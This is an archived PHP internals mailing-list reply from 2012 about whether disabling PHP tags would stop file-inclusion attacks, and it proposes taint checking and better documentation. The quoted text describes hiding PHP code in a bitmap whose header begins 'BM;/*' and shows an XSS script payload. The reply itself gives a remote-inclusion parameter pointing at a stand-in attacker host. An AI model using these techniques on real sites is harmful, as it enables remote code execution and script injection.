Newsgroups: php.internals
Path: news.php.net
Xref: news.php.net php.internals:59742
Mailing-List: contact internals-help@lists.php.net; run by ezmlm
Received-SPF: pass (pb1.pair.com: domain gmail.com designates 74.125.82.54 as permitted sender)
MIME-Version: 1.0
In-Reply-To: <A633CF2D7C7BED41B41F1E64F25507B806A5CDD71A@MAILR001.mail.lan>
References: <CAGa2bXZ6G=Cphjrde3u1Mq3AAw-4yJk3s28vNe+Aybt2nGTumg@mail.gmail.com>
	<CAGa2bXZh4uMeUH_BSCFmfNgxS-SZC0svA9BPcSROjwmbfrtFyQ@mail.gmail.com>
	<CAGa2bXbhi4zdgd9Udo6KsoycDwg_Ke0Xe5h3_-fVDMvn_VfAjQ@mail.gmail.com>
	<A633CF2D7C7BED41B41F1E64F25507B806A5CDD6C2@MAILR001.mail.lan>
	<CAGa2bXZKfQ+HqOucwOnBH7gV84hpdxZb5qNY3t3ThF_zMKSGHw@mail.gmail.com>
	<4F850D06.10701@sugarcrm.com>
	<CAGa2bXZWrRh8RdMtKK_2_U_XmByC-O6hGRPrJyW5KwvE0CAK-w@mail.gmail.com>
	<4F8515AF.8060706@sugarcrm.com>
	<CAGa2bXZWudQeRm5h2eENGmgQDPfOqEmijB9-vPAvfKXLCfDiLw@mail.gmail.com>
	<4F851FE4.7000706@sugarcrm.com>
	<CAGa2bXbXdNcfHX_dM2EVVz_2JtS4cc+8pxneSLAd382TuQUg-w@mail.gmail.com>
	<4F8539E0.1090701@sugarcrm.com>
	<4F859063.1010401@lerdorf.com>
	<A633CF2D7C7BED41B41F1E64F25507B806A5CDD71A@MAILR001.mail.lan>
Date: Wed, 11 Apr 2012 10:53:09 -0700
Message-ID: <CAKOpQSz1=AFfWcO=F0Ot_2Jm8audczE2a1DnGV-vxhp=80ZcUQ@mail.gmail.com>
To: John Crenshaw <johncrenshaw@priacta.com>
Cc: Rasmus Lerdorf <rasmus@lerdorf.com>, Stas Malyshev <smalyshev@sugarcrm.com>, 
	Yasuo Ohgaki <yohgaki@ohgaki.net>, "internals@lists.php.net" <internals@lists.php.net>
Content-Type: multipart/alternative; boundary=f46d04447f478a299304bd6ae933
Subject: Re: [PHP-DEV] Re: Disabling PHP tags by php.ini and CLI options
From: kris.craig@gmail.com (Kris Craig)

--f46d04447f478a299304bd6ae933
Content-Type: text/plain; charset=ISO-8859-1

On Wed, Apr 11, 2012 at 10:38 AM, John Crenshaw <johncrenshaw@priacta.com>wrote:

> From: Rasmus Lerdorf [mailto:rasmus@lerdorf.com]
> > I guess he is saying that it prevents:
> >
> >    Random bytes
> >    <?php kill();?>
> >    More random bytes
> >
> > Where random bytes might be an image file so finfo_file() might identify
> it as a valid image
>
> Right, but anyone can trivially construct a fully valid bitmap with a
> starting byte sequence of `42 4D 3B 2F 2A`, which resolves to `BM;/*`. PHP
> will decide that BM meant 'BM', effectively skipping it, then the open
> comment will slide the PHP interpreter past any remaining header stuff. You
> can close the comment and place the actual code payload anywhere in the
> image data. The early bytes in other image formats are similarly
> exploitable. As far as I can tell there is really no security win here.
>
> > 4. Only protecting against mid-script injections and not top-of-script
> injections is a somewhat subtle concept when the real problem is the
> vulnerable include $_GET['filename'] hole. If this really is a prevalent
> problem, maybe instead of trying to mitigate the symptoms, why don't we try
> to attack the actual cause of the problem. I would love to hear some ideas
> along those lines that don't fundamentally change the nature of PHP for
> somewhat cloudy benefits.
> >
> > -Rasmus
>
> It's disturbingly common. Probably 90% of the automated attacks I see in
> the 404 error logs are trying to exploit various inclusion vulnerabilities.
>
> One idea that comes to mind immediately is the old taint RFC:
> https://wiki.php.net/rfc/taint. This doesn't actually prevent LFI, but it
> (optionally) warns the developer that they did something very bad,
> regardless of whether it actually caused a problem with the specific input
> data. I'd really love to see that one finalized and implemented.
>
> Another wild alternative could be to have a non-trivial string format
> internally, where PHP strings are actually a set of distinct blocks which
> each contain encoding information. This would make it possible to
> concatenate strings just as always, but since the attributes of each block
> are known the entire string contents could be manipulated to an arbitrary
> final encoding, (or rejected as impossible to safely convert) when the
> string is actually used. In the include case this isn't really very
> different from taint, because safe conversion is impossible, but for things
> like XSS and SQL injection it could actually *fix* the otherwise vulnerable
> code. A simplified example of how this might work:
>
> http://example.com?name=%3Cscript%3Exss()%3B%3C%2Fscript%3E<http://example.com?name=%3Cscript%3Exss%28%29%3B%3C%2Fscript%3E>
>
> // $_GET['name'] === [text&user&utf8('<script>xss();</script>')];
> $name = $_GET['name'];
>
> $welcome = html("Welcome <b>$name</b>!"); // $welcome === [html('Welcome
> <b>'), text&user&utf8('<script>xss();</script>'), html('</b>!')];
>
> echo $_GET['name']; // assuming the current output format is text/html,
> the output will be "Welcome <b> &lt;script&gt;xss();&lt;/script&gt;</b>!"
>
> Obviously this second idea is probably a prohibitively large change, there
> is some BC break (especially where an input was known to be HTML but
> secured via something like HTMLPurifier), and there are huge open questions
> (like how to handle string comparison). Still, I think it is interesting
> because it actually divines the real meaning. The intent of the above code
> is obvious to a developer, and something like this could bring that
> understanding to the final result. This specific concept has issues, but
> maybe it gives someone else a more practical idea.
>
> John Crenshaw
> Priacta, Inc.
>
> --
> PHP Internals - PHP Runtime Development Mailing List
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>
I can't help but question whether we should even be worrying about LFI/RFI
to begin with.  Personally, I would *never* check-off on code that in any
way used $_GET or $_POST directly in an include/require statement!  It's
just plain lazy.  There's just no excuse for doing that.  Use some sort of
dispatch or translation table.  Sure, it might seem less "magical," but
it'll also protect you from some asshole hitting you with something like,
"?file=http://hacksite.com/injectedcode.php?".  The individual code
developer has to take *some* responsibility for their code.  If this is
such a problem, I would think the solution would be to update our docs to
better warn people about this type of attack and educate them on how not to
write code that's vulnerable to it.

We can make the language secure; but, in the end, a language is only as
smart as the person using it.

--Kris

--f46d04447f478a299304bd6ae933--